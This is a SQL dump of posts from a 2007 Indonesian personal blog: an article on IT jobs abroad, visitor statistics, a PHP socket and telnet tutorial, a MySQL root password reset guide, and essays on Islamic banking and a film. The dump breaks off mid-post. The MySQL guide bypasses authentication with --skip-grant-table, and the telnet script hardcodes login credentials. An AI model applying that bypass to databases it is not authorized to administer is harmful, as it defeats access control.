insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (19,'2007-07-22 19:51:28','Merebut Peluang di Seberang','Merebut Peluang di Seberang\r\n\r\n\r\nMeski masih banyak dibutuhkan di dalam negeri, peluang kerja di negeri orang pun terbuka lebar.\r\n\r\n\r\n\r\nDua tahun lalu ada berita yang cukup heboh sekaligus membanggakan buat bangsa Indonesia. Mungkin Anda masih ingat dengan nama Harianto Wijaya. Tak ingat, atau bahkan tak kenal pun tidak jadi soal.\r\n\r\nYang pasti, putra bangsa ini tercatat sebagai penerima pertama surat izin bekerja bagi warga asing di Jerman, langsung dari Menteri Tenaga Kerja Walter Riester. Harianto yang kala itu juga mahasiswa program doktor Jurusan Informatika di Universitas Teknik (RWTH) Aachen, Jerman, memang punya prestasi pendidikan TI (teknologi informasi) yang luar biasa. Tidak heran ia bisa mendapatkan green card.\r\n\r\nMengapa negara sekaliber Jerman mesti mendapat suplai tenaga TI dari luar negaranya? Kurang sumber daya? Dugaan itu ternyata betul. Perkembangan pesat teknologi informasi memang tidak hanya membuat ketar-ketir negara dunia ketiga, negara \"dunia pertama\" macam Jerman pun mulai merasakan akibatnya: kekurangan pakar TI yang tidak bisa didapatkan dari kalangan sendiri.\r\n\r\nMaklum, jumlah yang dibutuhkan juga tak bisa dibilang sedikit. Tercatat saat itu sekitar 75.000 orang diperlukan oleh Jerman. Itu baru Jerman, belum negara lain. Tahukah Anda ternyata negara sebesar dan semaju Amerika Serikat pun masih mengimpor tenaga TI dari negara-negara di Asia, seperti India dan Cina. Nah, ini namanya peluang kan?\r\n\r\n\"Lowongan dari luar Indonesia untuk tenaga kerja TI kita banyak. Yang tercatat pada kami bisa puluhan ribu lowongan,\" jelas Edi S. Tjahya, managing director JobsDB.com - sebuah portal informasi lowongan kerja. Lowongan sebanyak itu pun baru untuk wilayah Asia Pasifik.\r\n\r\n \r\n\r\nMengail di Negeri Orang\r\n\"Secara kualitatif, kondisi sumber daya manusia Indonesia di bidang IT tidak kalah kualitas dibanding SDM dari negara seperti India sekalipun,\" papar Heru Nugroho, CEO PT Work IT Out, sebuah perusahaan penyalur tenaga kerja TI ke luar negeri.\r\n\r\nPeluang bagi tenaga kerja TI untuk keluar negeri pun terbuka luas, seperti yang diungkapkan oleh Budi Raharjo, pakar TI dari Institut Teknologi Bandung. \"Kesempatan tetap terbuka, apalagi didukung oleh faktor bergesernya dominasi India yang dikenal sebagai sumber SDM TI,\" tambah Budi.\r\n\r\nTawaran gajinya pun cukup menggiurkan. Bayangkan, untuk tenaga kerja TI kelas pemula sampai menengah, perusahaan di luar negeri berani menawarkan upah sekitar US$ 400 sampai US$ 600 (sekitar Rp 3, 6 juta sampai Rp 5,5 juta) per bulan.\r\n\r\n\"Di kelas yang sama di dalam negeri, paling mereka hanya ditawarkan gaji sekitar Rp 900.000 sampai Rp 2,5 juta per bulannya,\" ungkap Heru.\r\n\r\nItu baru yang pemula. Untuk yang sudah punya keahlian spesifik dan berpengalaman, di luar negeri gajinya bisa mencapai US$ 2.000 - 2.500 (sekitar Rp 18,2 juta sampai 22,7 juta) per bulan. Tiga kali lipat dibanding di dalam negeri yang pasarannya sekitar Rp 7 sampai 10 juta.\r\n\r\nBidang kerja TI yang terbuka pun beragam dan hampir sama dengan yang ada di lokalan. \"Engineer untuk networking dan wireless serta programer, yang banyak dicari,\" ujar Budi.\r\n\r\nHeru pun sependapat dengan Budi. Hanya saja, tenaga TI yang memiliki kemampuan terspesialisasi seringkali dicari.\r\n\r\n\"Kebanyakan yang dicari adalah pada bidang yang spesifik, misalnya SAP. Sayangnya agak susah mencari tenaga kerja yang sudah spesifik ini. Saya pernah kesulitan mencari tenaga analis dan programer spesifikasi Oracle, yang juga mesti menguasai detil dengan segala aksesori aplikasinya,\" papar Heru.\r\n\r\n \r\n\r\nMasalah Kualitas\r\nMeski terbuka peluang kerja di luar negeri, umumnya perusahaan di sana menyodorkan banyak persyaratan, yang memang agak susah untuk ditembus. Nah, yang jadi persoalan ujung-ujungnya adalah kualitas.\r\n\r\n\"Kendala bahasa Inggris memang biasanya menjadi penghambat,\" tandas Hadrian Nataprawira, CEO DBMnet, yang bergerak di bidang pendidikan web bersertifikasi. Juga faktor kultur yang berbeda.\r\n\r\nMasalah lain yang muncul adalah jarangnya tenaga ahli yang andal dan berpengalaman di Indonesia. \"Sebagai contoh, sulit mencari Java programmer dengan pengalaman lima tahun, padahal umumnya di Indonesia baru berpengalaman tiga tahun. Beda dengan India,\" papar Budi.\r\n\r\nPersyaratannya pun tidak sebatas ijazah dari universitas atau lembaga pendidikan. \"Khusus untuk luar negeri, kalau cuman sebatas itu, agak susah kami memasarkannya. Pengalaman kerja dan sertifikasi keahlian bertaraf internasional merupakan hal yg cukup mutlak,\" ujar Heru.\r\n\r\n \r\n\r\nPerlu Sertifikasi\r\n\"Di lapangan kerja di luar, sertifikat keahlian TI seperti Microsoft, Cisco, dan sejenisnya lebih dihargai. Beda dengan di Indonesia yang mesti mengikuti standar Bappenas. Punya sertifikat seabreg-abreg, tapi tidak punya gelar S1, maka akan dihargai rendah,\" papar Budi.\r\n\r\nSertifikasi berbeda dengan ujian, lisensi ataupun registrasi. Sertifikasi ini adalah semacam pengakuan keahlian yang dikeluarkan oleh vendor TI yang terkait. Misalnya sertifikasi Microsoft, Cisco, Unix, Oracle, Lotus, dan sebagainya. \r\n\r\nIntinya sih, sertifikasi ditujukan untuk membentuk standar kemampuan dan penguasaan kerja TI. Mereka yang memiliki sertifikasi Microsoft, misalnya, akan diakui kemampuannya dalam mengoperasikan aplikasi-aplikasi keluaran Microsoft. Hal ini dikarenakan mereka secara langsung sudah di-training dan dididik oleh Microsoft training center atau lembaga pendidikan yang ditunjuk oleh Microsoft.\r\n\r\nLembaga pendidikan bersertifikasi ini pun sekarang cukup banyak. Seiring semakin sadarnya para ahli TI untuk mengikuti perkembangan teknologi yang pesat.\r\n\r\nMemang, ada perbedaan yang mendasar mengenai pentingnya sertifikasi dan ijasah. Ijazah adalah hasil pendidikan secara formal, dan sertifikasi adalah hasil belajar non-formal (semacam kursus). \"Idealnya, seseorang SDM TI memiliki keduanya, ijazah dan sertifikasi,\" papar Bambang Wahyudi, Dekan Faklutas Ilmu Komputer, Universitas Gunadarma.\r\n\r\n \r\n\r\nMencari Peluang ke Manca\r\nLalu bagaimana sebenarnya mencari jalan untuk membuka kesempatan mencari \"makan\" di luar negeri?\r\n\r\nAda beberapa cara. Salah satunya adalah melalui keagenan tenaga kerja, semisal Work IT Out (www.workitout-online.com). Ini adalah agen tenaga kerja TI ke luar negeri yang pertama di sini. Menurut Heru Nugroho, agen ini tidak sekadar menyalurkan tenaga kerja, tapi juga mempersiapkannya agar punya \"nilai jual\". Misalnya mengadakan sertifikasi bagi mereka dengan bekerja sama dengan ITB.\r\n\r\nCara kedua adalah dengan mandiri. Anda bisa mengirimkan lamaran kerja Anda ke perusahaan-perusahaan di luar negeri. Informasinya pun banyak tersedia di internet. Hanya saja, Anda akan lebih repot karena mengurusinya sendiri.\r\n\r\nNah, jika Anda merasa mempunyai skill yang bagus, lebih-lebih mempunyai spesifikasi dan keahlian TI khusus, serta mampu berbahasa Inggris dengan fasih, kenapa tidak mengadu untung di negeri seberang. YUL\r\n\r\n \r\n\r\nLEMBAGA PENDIDIKAN BERSERTIFIKASI\r\nBerikut adalah beberapa lembaga pendidikan atau training course yang menawarkan pendidikan TI bersertifikasi. Selain itu, ada beberapa sertifikasi TI yang bisa Anda peroleh melalui pendidikan secara online. Link ke dalam situs-situs tersebut dapat Anda peroleh di www.kerjait.com.\r\n\r\n\r\nLOWONGAN \r\nwww.itjobs.org\r\nwww.careerbuilder.com\r\nwww.clickitjobs.com\r\nwww.jobsdb.com\r\nwww.dice.com\r\nwww.hotjobs.com/htdocs/channels/tech\r\nwww.how2findajob.com\r\nwww.itcareersource.com\r\nwww.itwow.com\r\nwww.jobcircle.com\r\njobs.internet.com\r\nwww.jobs.net/locations/id/indonesia.html\r\n\r\nMODAL \r\nJika Anda ingin mencoba peruntungan Anda di bidang TI pada peluang kerja di luar negeri, tentu saja Anda mesti punya bekal. Apa saja modal yang mesti Anda miliki? Ancar-ancarnya sebagai berikut:\r\n\r\nBerkemampuan bahasa internasional, minimal fasih bahasa Inggris \r\nPengalaman kerja cukup \r\nMemiliki sertifikasi keahlian atau spesialisasi di bidang TI bertaraf internasional \r\nMemiliki etika kerja yang baik\r\n\r\n \r\n',1,1,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (20,'2007-07-23 17:22:47','Makasih Buat Teman2','Makasih Buat Teman2\r\n\r\nNetwork Location Visits Pages/Visit Avg. Time on Site % New Visits Bounce Rate\r\n\r\n1. stmik amikom\r\n 21 3.67 00:18:06 9.52% 42.86%\r\n\r\n2. indosatm2 dedicated platinum customer\r\n 3 1.00 00:00:00 33.33% 100.00%\r\n\r\n3. cv. dian kartika\r\n 1 6.00 00:19:03 100.00% 0.00%\r\n\r\n4. natrindo telepon seluler (lippotel)\r\n 1 2.00 00:27:36 0.00% 0.00%\r\n\r\n5. network operating center jmn\r\n 1 1.00 00:00:00 100.00% 100.00%\r\n\r\n6. pt cyberindo aditama\r\n 1 1.00 00:00:00 100.00% 100.00%\r\n\r\n7. pt telekomunikasi indonesia\r\n 1 1.00 00:00:00 100.00% 100.00%\r\n\r\n8. pt telekomunikasi indonesia (pt. telkom)\r\n 1 1.00 00:00:00 100.00% 100.00%\r\n\r\n9. pt. citra sari makmur\r\n 1 2.00 00:06:02 100.00% 0.00%\r\n\r\n10. pt. telekomunikasi indonesia\r\n 1 7.00 00:35:58 100.00% 0.00%\r\n\r\nDI ATAS adalah daftar hasil pemantauan NETWORK yang telah mengakses/mengunjungi <a href = \"http://mamat.amikom.ac.id \">http://mamat.amikom.ac.id</a>, tertanggal mulai 16 July 2007 sampai 24 July 2007. <br/><br/>Untuk semua teman-teman yang udah bersedia menyempatkan waktu untuk mengunjungi situs ini saya ucapkan terimakasih yang sebanyak banyaknya kalian memang teman-teman yang baik semoga amal ibadah kita semua diterima oleh-NYA, Amin.\r\n\r\nTertanda \r\n\r\n^_^\r\n\r\nMamat',1,1,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (21,'2007-07-26 10:01:47','PHP Socket','PHP Socket\r\nPrograming menggunakan php socket.\r\n\r\nApa sih php socket? \r\nPHP socket memungkin kita untuk melaukan komunikasi lewat port-port tertentu. Sebenarnya prosessnya itu gampang di phpnya kita anggap sebagai clientnya. Kan untuk sitiap prom di client pasti ada input ma output nah di php nanti setelah bisa terkoneksi kita juga tinggal input aja pakek perintah <b>fputs</b>\r\n\r\nIni contoh-contohnya aq ambil dari php manual\r\n\r\n//untuk koneksi ke port 80 dan bisa buat ngabil source htmlnya\r\n$fp = fsockopen(\"www.example.com\", 80, $errno, $errstr, 30);\r\nif (!$fp) {\r\n echo \"$errstr ($errno)<br />\\n\";\r\n} else {\r\n $out = \"GET / HTTP/1.1\\r\\n\";\r\n $out .= \"Host: www.example.com\\r\\n\";\r\n $out .= \"Connection: Close\\r\\n\\r\\n\";\r\n\r\n fwrite($fp, $out);\r\n while (!feof($fp)) {\r\n echo fgets($fp, 128);\r\n }\r\n fclose($fp);\r\n}\r\n\r\n//untuk koneksi di port UDP\r\n$fp = fsockopen(\"udp://127.0.0.1\", 13, $errno, $errstr);\r\nif (!$fp) {\r\n echo \"ERROR: $errno - $errstr<br />\\n\";\r\n} else {\r\n fwrite($fp, \"\\n\");\r\n echo fread($fp, 26);\r\n fclose($fp);\r\n}\r\n\r\n//ini contoh untuk komunikasi menggunakan telnet, kemarin sudah berhasil butuh waktu 2hari untuk experimen :) makanya gak bikin artikel akhir2 ini hehe, harap maklum yak.\r\n\r\n<?php\r\n# This is the difficult part, the Telnet header <--- mumet (bahasa jowo)\r\n$header1=chr(0xFF).chr(0xFB).chr(0x1F).chr(0xFF).chr(0xFB).\r\nchr(0x20).chr(0xFF).chr(0xFB).chr(0x18).chr(0xFF).chr(0xFB).\r\nchr(0x27).chr(0xFF).chr(0xFD).chr(0x01).chr(0xFF).chr(0xFB).\r\nchr(0x03).chr(0xFF).chr(0xFD).chr(0x03).chr(0xFF).chr(0xFC).\r\nchr(0x23).chr(0xFF).chr(0xFC).chr(0x24).chr(0xFF).chr(0xFA).\r\nchr(0x1F).chr(0x00).chr(0x50).chr(0x00).chr(0x18).chr(0xFF).\r\nchr(0xF0).chr(0xFF).chr(0xFA).chr(0x20).chr(0x00).chr(0x33).\r\nchr(0x38).chr(0x34).chr(0x30).chr(0x30).chr(0x2C).chr(0x33).\r\nchr(0x38).chr(0x34).chr(0x30).chr(0x30).chr(0xFF).chr(0xF0).\r\nchr(0xFF).chr(0xFA).chr(0x27).chr(0x00).chr(0xFF).chr(0xF0).\r\nchr(0xFF).chr(0xFA).chr(0x18).chr(0x00).chr(0x58).chr(0x54).\r\nchr(0x45).chr(0x52).chr(0x4D).chr(0xFF).chr(0xF0);\r\n$header2=chr(0xFF).chr(0xFC).chr(0x01).chr(0xFF).chr(0xFC).\r\nchr(0x22).chr(0xFF).chr(0xFE).chr(0x05).chr(0xFF).chr(0xFC).chr(0x21);\r\n\r\n# connecting\r\n$fp=fsockopen(\"127.0.0.1\",23);\r\n\r\n# sending the Telnet header\r\nfputs($fp,$header1);\r\nusleep(125000);\r\nfputs($fp,$header2);\r\nusleep(125000);\r\n\r\n/*\r\n# login\r\nfputs($fp,\"user\\r\");\r\nusleep(125000);\r\nfputs($fp,\"users.pass\\r\");\r\nusleep(125000);\r\n*/\r\n\r\nfputs($fp,\"n\\r\");\r\nusleep(125000);\r\nfputs($fp,\"telonet\\r\");\r\nusleep(125000);\r\nfputs($fp,\"t3l0n3t\\r\");\r\nusleep(125000);\r\n\r\n# some tests\r\n//fputs($fp,\"ifconfig\\r\"); \r\nfputs($fp,\"echo year telnet php connect works|wall\\r\");\r\n\r\n# we had to wait\r\nusleep(125000);\r\n\r\n# show the output\r\ndo \r\n{ \r\n $output.=fread($fp, 1000); // read line by line, or at least small chunks\r\n $stat=socket_get_status($fp);\r\n}\r\nwhile($stat[\"unread_bytes\"]);\r\n \r\n$output = str_replace(\"\\n\", \"<br>\", $output);\r\nfclose($fp);\r\necho $output;\r\n?>\r\n\r\nSelamat mencoba..!, Coding is my life \r\n',1,1,2);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (22,'2007-08-03 15:27:05','Restor password root MySQL di linux','Cara ngrestor password root MySQL di linux, artikel ini buat para admin yang pelupa terutama saya, hehe\r\n\r\n1. login lah sebagai root (buka 2 console)\r\n2. matikan service mysql\r\n\r\nconsole1# /etc/init.d/mysqld stop\r\n\r\n\r\n3. nyalakan service mysql dengan option –skip-grant-table, perintah ini harus dijalankan sebagai user mysql\r\n\r\nconsole2# su mysql\r\nconsole2# /usr/libexec/mysqld --skip-grant-table\r\n\r\n\r\n4. jalankan mysql client\r\n\r\n console1# mysql\r\n\r\n\r\n5. pilih database mysql\r\n\r\nmysql> use mysql;\r\n\r\n\r\n6. ubah password root di dalam tabel user\r\n\r\nmysql> update user set Password=password(\'password_baruku\')\r\nwhere ((User like \'root\') and (Host like \'localhost\'));\r\n\r\n\r\n7. flush privileges\r\n\r\nmysql> flush privileges;\r\n\r\n\r\n8. matikan service mysql\r\n\r\nconsole1# killall mysqld\r\n\r\n\r\n9. jalankan kembali service mysql\r\n\r\nconsole1# /etc/init.d/mysqld start',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (23,'2007-08-07 11:51:24','Perbedaan Bank Konvensional Dengan Bank Syariah','Perbedaan Bank Konvensional Dengan Bank Syariah\r\n\r\nKemarin ada temen yang nanya perbedaan kedua bank di atas, yah karena ilmu terbatas masalah ekonomi makanya hari nyari artikel yang bahas ini, artikel ini saya kutip dari Danareksa.com. Mudah-mudahan bermafaat. No RIBA...ok. :)\r\n\r\nBank syariah adalah bank yang beroperasi berdasarkan syariah atau prinsip agama Islam. Sesuai dengan prinsip Islam yang melarang sistem bunga atau riba yang memberatkan, maka bank syariah beroperasi berdasarkan kemitraan pada semua aktivitas bisnis atas dasar kesetaraan dan keadilan. Perbedaan yang mendasar antara bank syariah dengan bank konvensional, antara lain :\r\n\r\n 1. Perbedaan Falsafah\r\n Perbedaan pokok antara bank konvensional dengan bank syariah terletak pada landasan falsafah yang dianutnya. Bank syariah tidak melaksanakan sistem bunga dalam seluruh aktivitasnya sedangkan bank kovensional justru kebalikannya. Hal inilah yang menjadi perbedaan yang sangat mendalam terhadap produk-produk yang dikembangkan oleh bank syariah, dimana untuk menghindari sistem bunga maka sistem yang dikembangkan adalah jual beli serta kemitraan yang dilaksanakan dalam bentuk bagi hasil. Dengan demikian sebenarnya semua jenis transaksi perniagaan melalu bank syariah diperbolehkan asalkan tidak mengandung unsur bunga (riba). Riba secara sederhana berarti sistem bunga berbunga atau compound interest dalam semua prosesnya bisa mengakibatkan membengkaknya kewajiban salah satu pihak seperti efek bola salju pada cerita di awal artikel ini. Sangat menguntungkan saya tapi berakibat fatal untuk banknya. Riba, sangat berpotensi untuk mengakibatkan keuntungan besar disuatu pihak namun kerugian besar dipihak lain, atau malah ke dua-duanya.\r\n\r\n 2. Konsep Pengelolaan Dana Nasabah\r\n Dalam sistem bank syariah dana nasabah dikelola dalam bentuk titipan maupun investasi. Cara titipan dan investasi jelas berbeda dengan deposito pada bank konvensional dimana deposito merupakan upaya mem-bungakan uang. Konsep dana titipan berarti kapan saja si nasabah membutuhkan, maka bank syariah harus dapat memenuhinya, akibatnya dana titipan menjadi sangat likuid. Likuiditas yang tinggi inilah membuat dana titipan kurang memenuhi syarat suatu investasi yang membutuhkan pengendapan dana. Karena pengendapan dananya tidak lama alias cuma titipan maka bank boleh saja tidak memberikan imbal hasil. Sedangkan jika dana nasabah tersebut diinvestasikan, maka karena konsep investasi adalah usaha yang menanggung risiko, artinya setiap kesempatan untuk memperoleh keuntungan dari usaha yang dilaksanakan, didalamnya terdapat pula risiko untuk menerima kerugian, maka antara nasabah dan banknya sama-sama saling berbagi baik keuntungan maupun risiko.\r\n\r\n Sesuai dengan fungsi bank sebagai intermediary yaitu lembaga keuangan penyalur dana nasabah penyimpan kepada nasabah peminjam, dana nasabah yang terkumpul dengan cara titipan atau investasi tadi kemudian, dimanfaatkan atau disalurkan ke dalam traksaksi perniagaan yang diperbolehkan pada sistem syariah. Hasil keuntungan dari pemanfaatan dana nasabah yang disalurkan ke dalam berbagai usaha itulah yang akan dibagikan kepada nasabah. Hasil usaha semakin tingi maka semakin besar pula keuntungan yang dibagikan bank kepada dan nasabahnya. Namun jika keuntungannya kecil otomatis semakin kecil pula keuntungan yang dibagikan bank kepada nasabahnya. Jadi konsep bagi hasil hanya bisa berjalan jika dana nasabah di bank di investasikan terlebih dahulu kedalam usaha, barulah keuntungan usahanya dibagikan. Berbeda dengan simpanan nasabah di bank konvensional, tidak peduli apakah simpanan tersebut di salurkan ke dalam usaha atau tidak, bank tetap wajib membayar bunganya.\r\n\r\n Dengan demikian sistem bagi hasil membuat besar kecilnya keuntungan yang diterima nasabah mengikuti besar kecilnya keuntungan bank syariah. Semakin besar keuntungan bank syariah semakin besar pula keuntungan nasabahnya. Berbeda dengan bank konvensional, keuntungan banknya tidak dibagikan kepada nasabahnya. Tidak peduli berapapun jumlah keuntungan bank konvesional, nasabah hanya dibayar sejumlah prosentase dari dana yang disimpannya saja.\r\n\r\n 3. Kewajiban Mengelola Zakat\r\n Bank syariah diwajibkan menjadi pengelola zakat yaitu dalam arti wajib membayar zakat, menghimpun, mengadministrasikannya dan mendistribusikannya. Hal ini merupakan fungsi dan peran yang melekat pada bank syariah untuk memobilisasi dana-dana sosial (zakat. Infak, sedekah)\r\n\r\n 4. Struktur Organisasi\r\n Di dalam struktur organisasi suatu bank syariah diharuskan adanya Dewan Pengawas Syariah (DPS). DPS bertugas mengawasi segala aktifitas bank agar selalu sesuai dengan prinsip-prinsip syariah. DPS ini dibawahi oleh Dewan Syariah Nasional (DSN). Berdasarkan laporan dari DPS pada masing-masing lembaga keuangan syariah, DSN dapat memberikan teguran jika lembaga yang bersangkutan menyimpang. DSN juga dapat mengajukan rekomendasi kepada lembaga yang memiliki otoritas seperti Bank Indonesia dan Departemen Keuangan untuk memberikan sangsi.\r\n\r\nBagaimana Kita Menyimpan Uang Di Bank Syariah\r\n\r\nSebelumnya kita sudah sangat mengenal tabungan, giro dan deposito dari bank konvensional. Pada ke tiga produk bank ini maka setiap bulanya bank berjanji akan membayar sejumlah bunga. Di bank syariah juga mempunyai produk simpanan berupa tabungan, giro dan deposito hanya sebagai nasabah kita tidak menerima pembayaran bunga. Di bank syarah ada 2 cara yang bisa dipilih orang untuk menyimpan uangnya,yaitu :\r\n\r\n 1. Titipan / Wadiah\r\n Menitip adalah memberikan kekuasaan kepada orang lain untuk menjaga hartanya/ barangnya. Dengan demikian cara titipan melibatkan adanya orang yang menitipkan (nasabah), pihak yang dititipi (bank syariah), barang yang dititipkan (dana nasabah). Menitipkan sebenarnya bukan usaha perniagaan yang lazim, kecuali penerima titipan menetapkan keharusan membayar biaya penitipan atau administrasi bagi penitip. Maka Titipan bisa memenuhi syarat perniagaan yang lazim. Artinya bank harus menjaga dan bertanggung jawab terhadap barang yang dititipkan karena sudah dibayar biaya administrasinya. Rekening giro di bank syariah dikelola dengan sistem titipan sehingga biasa dikenal dengan Giro Wadiah, karena pada dasarnya rekening giro adalah dana masyarakat di bank untuk tujuan pembayaran dan penarikannya dapat dilakukan setiap saat. Artinya giro hanyalah merupakan dana titipan nasabah, bukan dana yang diinvestasikan. Namun dana nasabah pada giro bisa dimanfaatkan oleh bank selama masih mengendap, tetapi kapanpun nasabah ingin menariknya bank wajib membayarnya. Sebagai imbalan dari titipan yang dimanfaatkan oleh bank syariah, nasabah dapat menerima imbal jasa berupa bonus. Namun bonus ini tidak diperjanjikan di depan melainkan tergantung dari kebijakan bank yang dikaitkan dengan pendapatn bank. Rekening tabungan harian yang memberlakukan ketentuan dapat ditarik setiap saat juga dikelola dengan cara titipan, karena sifatnya mirip dengan giro hanya berbeda mekanisme penarikannya.\r\n\r\n 2. Investasi / Mudharabah\r\n adalah suatu bentuk perniagaan dimana pemilik modal (nasabah) menyetorkan modalnya kepada pengelola (bank) untuk diusahakan dengan keuntungan akan dibagi bersama sesuai dengan kesepakatan dari kedua belah pihak. Sedangkan kerugian, jika ada akan ditanggung oleh si pemilik modal. Dengan demikian cara investasi melibatkan pemilik modal (nasabah), pengelola modal (bank), modal (dana) harus jelas berapa jumlahnya, jangka waktu pengelolaan modal, jenis pekerjaan atau proyek yang di biayai, porsi bagi hasil keuntungan. Deposito di bank syariah dikelola dengan cara investasi atau mudarobah, sehingga biasa dikenal dengan Deposito Mudharabah. Bank Syariah tidak membayar bunga deposito kepada deposan tetapi membayar bagi hasil keuntungan yang ditetapkan dengan nisbah. Beberapa jenis tabungan berjangka juga dikelola dengan cara mudharobah misalnya tabungan pendidikan dan tabungan hari tua, tabungan haji, tabungan berjangka ini biasa dikenal istilah Tabungan Pendidikan Mudharabah, Tabungan Haji. Tabungan-tabungan tersebut tidak dapat ditarik oleh pemilik dana sebelum jatuh tempo sehingga memenuhi syarat untuk diinvestasikan\r\n\r\nBagaimana Nasabah Mendapat Keuntungan\r\nJika bank konvensional membayar bunga kepada nasabahnya, maka bank syariah membayar bagi hasil keuntungan sesuai dengan kesepakatan. Kesepakatan bagi hasil ini ditetapkan dengan suatu angka ratio bagi hasil atau nisbah. Nisbah antara bank dengan nasabahnya ditentukan di awal, misalnya ditentukan porsi masing-masing pihak 60:40, yang berarti atas hasil usaha yang diperolah akan didisitribusikan sebesar 60% bagi nasabah dan 40% bagi bank. Angka nisbah ini dengan mudah Anda dapatkan informasinya dengan bertanya ke customer service atau datang langsung dan melihat papan display “ Perhitugan dan Distribusi Bagi Hasil” yang ada di cabang bank syariah.\r\n\r\nApakah Simpanan Nasabah di Bank Syariah Dijamin Pemerintah\r\nDalam hal jaminan pemerintak terhadap dana pihak ke tiga di bank, maka bank syariah mempunyai kedudukan yang sama sama dengan bank konvensional. Dana nasabah di bank syariah tetap dijamin pemerintah sesuai dengan ketentuan jaminan pemerintah bagi dana nasabah di bank. ',1,1,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (24,'2007-08-07 15:33:23','Bukan Bintang Biasa','Bukan Bintang Biasa \r\nSTUDIA\r\n \r\n\r\nKalo ditanya, siapa para pemeran film “Bukan Bintang Biasa” yang diproduseri sama Mbak Melly Guslaw? Kayaknya banyak yang tahu dan sigap nyebutin satu persatu. Siapa aja coba? Yup, para pemeran BBB itu adalah Laudya C Bella, Chelsea Olivia, Ayu Shita, Raffi Ahmad, dan Dimas Beck. Film yang disutradarai oleh Lasja F Susantyo ini berkisah tentang kehidupan lima remaja. Bella, Raffi, Ayu, Dimas dan Chelsea adalah lima remaja yang kuliah di sebuah kampus seni. Sebagai remaja, kesibukan mereka tentunya bukan hanya kuliah dan kegiatan ekskul lainnya tapi juga disibukkan dengan urusan cinta masing-masing.\r\n\r\nBella dan Raffi yang awalnya berpacaran harus putus dengan alasan yang klise. Beda lagi dengan Dimas yang ngebet dengan Chelsea. Meskipun Chelsea kadang tulatit dan suka lupa, tapi kepintaran dan keimutannya membuat Dimas gemas sampai akhirnya jatuh cinta. Masih ada lagi Ayu, yang suka chatting dan berharap suatu hari menemukan seseorang seperti dalam mimpinya… Lantas, bagaimana kalau seseorang itu malah sebaliknya?\r\n\r\nPerjalanan cinta masing-masing tidaklah mulus, walau pada akhirnya mereka menemukan pasangan cintanya. Dan, lebih dari itu, meski cinta pernah membuat hubungan kelimanya renggang tapi mereka sadar bahwa persahabatan ternyata di atas segalanya (www.21cineplex.com)\r\nBoys and gals, STUDIA nggak bakal ngupas nih film dengan detil. Sebab, selain temanya pasaran, juga ya gitu-gitu aja kayaknya. Nggak lepas dari tema percintaan dan persahabatan yang udah umum. Bahkan sebetulnya tema persahabatan pun boleh dibilang cuma pelengkap doang dari tema utamanya yang lebih banyak membahas tentang cinta dan pergaulan.\r\n\r\nBener nih cuma tema itu? Hmm.. simak aja nih lagu yang menjadi soundtrack film ini. Judulnya sama dengan judul filmnya: “Once upon a time ada sebuah bintang/ Yang bersinar terang di hatimu/ Ku akan datang lagi/ menjemputmu dengan cinta/ Kan kubagikan semua bintangku/ Kumiliki bintang, bukan bintang biasa/ Ku bisa hapuskan semua dukamu/ Ku tak akan menghilang, slalu ada di hatimu/ Memberi bintang hanya untuk cinta.”\r\n\r\nSobat, buletin kesayangan kamu ini pengen bahas karena judul film ini menarik: Bukan Bintang Biasa. Mungkin saja Mbak Melly sebagai produser punya keinginan sendiri dengan judul seperti itu. Punya target dan juga definisi khusus yang ingin disampaikan kepada pemirsa dengan mengusung bukan bintang biasa itu. Nah, STUDIA juga ingin bahas tentang itu, judul yang menarik itu, tapi dari sudut pandang Islam, gitu lho. Boleh aja kan?\r\n\r\nYup, menjadi bintang pasti menyenangkan. Bintang Pelajar misalnya, pasti julukan yang oke banget dan bikin hati kita berbunga-bunga karena menjadi bintang di antara pelajar lainnya. Perumpamaan ini tentunya nggak mengada-ada. Sebab, faktanya bintang memang selalu di atas. Itu pula barangkali ada nama obat yang menggunakan nama bintang, hotel biar terkesan keren perlu menempatkan beberapa bintang untuk menunjukkan kelasnya, termasuk bintang lapangan hijau. Iya nggak sih?\r\n\r\nIntinya, menjadi bintang berarti menjadi lebih dari segalanya di antara kumpulan manusia di suatu komunitas. Kalo dipikir-pikir, memang banyak pemain sepakbola yang keren dan bagus-bagus di jagat ini, tapi David Beckham ternyata mampu menyedot perhatian banyak penduduk dunia dan menempatkannya menjadi bintang di antara bintang sepakbola lainnya. Bukan bintang biasa.\r\n\r\nBTW, yang akan dibahas sama STUDIA adalah Bukan Bintang Biasa di mata Allah Swt. Meski banyak kaum muslimin, tapi nggak mau dong cuma dianggap bilangan doang, tapi ingin diperhitungkan juga. Apalagi di hadapan Allah Swt. Artinya, kita nggak mau cuma menjadi muslim biasa. Harus yang luar biasa.\r\n\r\n<h3>Bukan muslim biasa</h3>\r\nSobat, menentukan ukuran biasa dan luar biasa itu memang perlu ada standarnya. Supaya jelas dan tegas. Mana yang bisa disebut luar biasa, mana yang biasa saja. Harus sepakat pula sudut pandangnya. Apakah diserahkan kepada manusia atau kepada Pencipta manusia untuk menilainya. Tul nggak? Supaya apa? Supaya manusia nggak mengklaim saling merasa benar sendiri, gitu lho.\r\n\r\nMaka, jika dilihat dari sudut pandang manusia tanpa bimbingan wahyu dari Allah, manusia akan banyak setuju kalo mereka memang bukan bintang biasa. Ukurannya: mereka ganteng dan cantik, kaya, bisa main film, bisa nyanyi, bisa menghibur orang dan sejenisnya. Tapi, apakah menurut Pencipta manusia juga mereka disebut bintang? Allahu’alam. Kita cuma diberi tuntunan tentang kehidupan ini. Mana yang salah dan mana yang benar. Perbuatan mana yang terpuji dan apa saja yang tercela. Kita bisa memilihnya karena sudah diberikan akal.\r\n\r\nOke, diperjelas dikit nih. Apakah yang disebut bukan bintang biasa itu hanya dinilai dari tampilan fisik saja? Sementara pikiran dan perasaannya yang sebetulnya menjadi ukuran diabaikan? Apa kita merasa nyaman berada di sisi orang yang ganteng dan cantik tapi mereka suka maksiat? 